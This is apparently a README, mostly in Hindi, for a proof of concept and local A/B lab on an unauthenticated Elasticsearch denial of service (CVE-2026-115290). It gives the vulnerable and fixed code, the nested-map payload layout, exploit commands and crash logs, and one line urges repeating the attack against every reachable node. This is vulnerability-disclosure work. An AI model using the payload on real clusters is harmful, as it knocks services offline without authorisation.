
CVE-2026-115290 के लिए PoC और कंटेनरीकृत A/B लैब, जो अनबाउंडेड डीसीरियलाइज़ेशन रिकर्सन (CWE-674) के माध्यम से Elasticsearch रिमोट क्लस्टर सर्वर में अनऑथेंटिकेटेड DoS है।
मूल कारण: अनियंत्रित रिकर्सन (CWE-674)। नोड API कुंजी की जाँच करने से पहले ही हमलावर द्वारा प्रदान किए गए बाइट्स को डीसेरियलाइज़ कर देता है: रिमोट क्लस्टर सर्वर पोर्ट पर एक अनधिप्रमाणित TCP अनुरोध ही StackOverflowError के साथ वर्कर स्टैक को उड़ाने और नोड को डाउन करने के लिए पर्याप्त है। प्रत्येक पहुँच-योग्य नोड के विरुद्ध इसे दोहराएँ।
| CVE | CVE-2026-115290 |
| सलाहकार | Elastic ESA-2026-201 (2026-11-03) |
| गंभीरता | CVSS 3.1 7.5 High, वेक्टर AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| प्रभावित | Elasticsearch 8.10.0 से 8.19.23, 9.0.0 से 9.4.8, 9.5.0 से 9.5.5, remote_cluster_server.enabled: true के साथ |
| ठीक किया गया | 8.19.24 / 9.4.9 / 9.5.6 |
| फ़िक्स कमिट | 0b1b229c8c ("Verify API key before decoding cross-cluster info", elastic/elasticsearch #161492) |
| पूर्वापेक्षाएँ | Enterprise / trial लाइसेंस (फ़ीचर advanced-remote-cluster-security), इंटरफ़ेस सक्षम |
CrossClusterAccessAuthenticationService.authenticate() (≤ 8.19.23) प्रेषक-नियंत्रित
subject-info हेडर को जल्द से जल्द डिकोड करता था ताकि ऑडिट इवेंट्स में API कुंजी आईडी शामिल की जा सके:
// 8.19.23, vulnerable build
public static CrossClusterAccessHeaders readFromContext(final ThreadContext ctx) {
final String credentialsHeader = ctx.getHeader(CROSS_CLUSTER_ACCESS_CREDENTIALS_HEADER_KEY);
parseCredentialsHeader(credentialsHeader).close(); // (1) format-check only
return new CrossClusterAccessHeaders(credentialsHeader,
CrossClusterAccessSubjectInfo.readFromContext(ctx)); // (2) DECODES attacker bytes, pre-auth
}
The decode is pure deserialization with no depth limits:
public static CrossClusterAccessSubjectInfo decode(final String header) {
byte[] bytes = Base64.getDecoder().decode(header);
StreamInput in = StreamInput.wrap(bytes);
TransportVersion version = TransportVersion.readVersion(in); // attacker-chosen
in.setTransportVersion(version);
Authentication authentication = new Authentication(in); // -> readMetadata -> readGenericValue
...
}
StreamInput.readGenericValue() नेस्टेड मैप्स (टाइप टैग 10) पर किसी भी गहराई सीमा के बिना पुनरावर्तन करता है।
लगभग 200k नेस्टेड सिंगल-एंट्री मैप्स decode() के अंदर ट्रांसपोर्ट थ्रेड का स्टैक उड़ाने के लिए पर्याप्त हैं।
ठीक किया गया (8.19.24): विषय जानकारी एन्कोडेड रहती है जब तक कि API कुंजी प्रमाणित न हो जाए, इसलिए अप्रमाणित अनुरोध कभी भी डीसेरियलाइज़र तक नहीं पहुँचते:
// 8.19.24, CrossClusterAccessRequestHeaders keeps the header as a String
final String subjectInfoHeader = requiredHeader(ctx, CROSS_CLUSTER_ACCESS_SUBJECT_INFO_HEADER_KEY);
...
// only after successful API-key authentication:
final CrossClusterAccessSubjectInfo subjectInfo = requestHeaders.decodeSubjectInfo().cleanAndValidate();
attacker ──TCP :9443──> remote cluster server port (profile _remote_cluster)
ES transport frame: action "indices:data/read/search" (any registered action)
ThreadContext headers:
_cross_cluster_access_credentials = "ApiKey <base64(id:key)>" (format-valid, key unknown)
_cross_cluster_access_subject_info = base64(vInt TransportVersion + Authentication{ metadata =
{ "poc_nested": {a: {a: {a: ... 200k deep ... }}} } } + roleDescriptorsBytesList[])
InboundHandler.handleRequest -> RequestHandlerRegistry (action exists) ->
ProfileSecuredRequestHandler.messageReceived (profile _remote_cluster) ->
CrossClusterAccessServerTransportFilter.authenticate -> license check -> header presence check ->
CrossClusterAccessAuthenticationService.authenticate -> CrossClusterAccessHeaders.readFromContext ->
CrossClusterAccessSubjectInfo.decode -> StreamInput.readGenericValue (unbounded) -> StackOverflowError
-> netty exceptionCaught -> ExceptionsHelper.maybeDieOnAnotherThread ->
ElasticsearchUncaughtExceptionHandler: "fatal error in thread [...], exiting" -> Runtime.halt(126)
हमले को आसान बनाने वाली बातें:
TransportVersion.isCompatible);TransportVersion लेकर चलते हैं (readVInt से पढ़ा जाता है), इसलिए deserialization
शाखाओं को संदेश हेडर संस्करण से स्वतंत्र रूप से नियंत्रित किया जा सकता है;ApiKey <base64(id:key)>), key को स्वयं कभी
प्रमाणित नहीं करना पड़ता क्योंकि क्रैश उसके चलने से पहले ही हो जाता है;readGenericValue प्रकार टैग: 0 string, 10 map (पुनरावर्ती), 0xFF null; strings
vInt charCount + utf8 होते हैं; ints 7-बिट LEB128 vInts होते हैं।poc/poc.py PoC client (stdlib-only): check | exploit | dump
lab/run-lab.sh podman lab: vulnerable 8.19.23 (:9200/:9443) + fixed 8.19.24 (:9201/:9444)
lab/es-*/elasticsearch.yml node configs (RCS enabled, TLS off, trial license, security on)
lab/stop-lab.sh
evidence/ captured logs + PoC transcripts (not published)
podman pull docker.elastic.co/elasticsearch/elasticsearch:8.19.23 \
docker.elastic.co/elasticsearch/elasticsearch:8.19.24
./lab/run-lab.sh # both containers capped at --cpus 2 --memory 4g
# 1) unauthenticated handshake probe on the vulnerable node's RCS port
python3 poc/poc.py check --host 127.0.0.1 --port 9443
# 2) kill the vulnerable node
python3 poc/poc.py exploit --host 127.0.0.1 --port 9443
# connection drops, node exits with "fatal error in thread [...], exiting", halt(126)
# 3) A/B: identical payload against the fixed build, node survives and rejects the auth
python3 poc/poc.py exploit --host 127.0.0.1 --port 9444
./lab/stop-lab.sh
TLS परिनियोजन: किसी भी मोड में --tls जोड़ें।
यूनिट-स्तरीय पुनरुत्पादन (वैकल्पिक): पेलोड को अकेले वास्तविक डिकोडर को दिया जा सकता है:
CrossClusterAccessSubjectInfo.decode(header) -> StackOverflowError # verified against 8.19.23 jars
evidence/ में कैप्चर किया गया, इस लैब में पुनरुत्पादित)भेद्य नोड (8.19.23, es-vuln)। एक exploit अनुरोध, बिना प्रमाणीकरण के:
[*] server closed the connection after 0.40s (closed=True, got 0 bytes)
[+] NODE TERMINATED: remote cluster server port 9443 refuses connections -- unauthenticated DoS reproduced
podman ps -a: es-vuln Exited (126) # Runtime.halt(126) == uncaught StackOverflowError
elasticsearch.log (देखें evidence/es-vuln-fatal.log):
ERROR "fatal error java.lang.StackOverflowError" ... Netty4MessageInboundHandler.exceptionCaught ->
ExceptionsHelper.maybeDieOnAnotherThread -> elasticsearch-error-rethrower
ERROR "fatal error in thread [elasticsearch-error-rethrower], exiting"
java.lang.StackOverflowError
at StreamInput.readGenericValue(StreamInput.java:859)
at StreamInput.readMap(StreamInput.java:751)
at StreamInput.readMap(StreamInput.java:736)
at StreamInput.readGenericValue(StreamInput.java:872) <- recursion loop, ~4 frames / nesting level
...
फ़िक्स्ड नोड (8.19.24, es-fixed), समान पेलोड:
[*] response frame: status=0x03 (error response)
[*] response text: "unable to find apikey with id cve-2026-115290"
at CrossClusterAccessAuthenticationService.lambda$tryAuthenticate$3 <- auth ran, decode never did
[!] node is STILL ALIVE after the payload
podman ps -a: es-fixed Up (serving)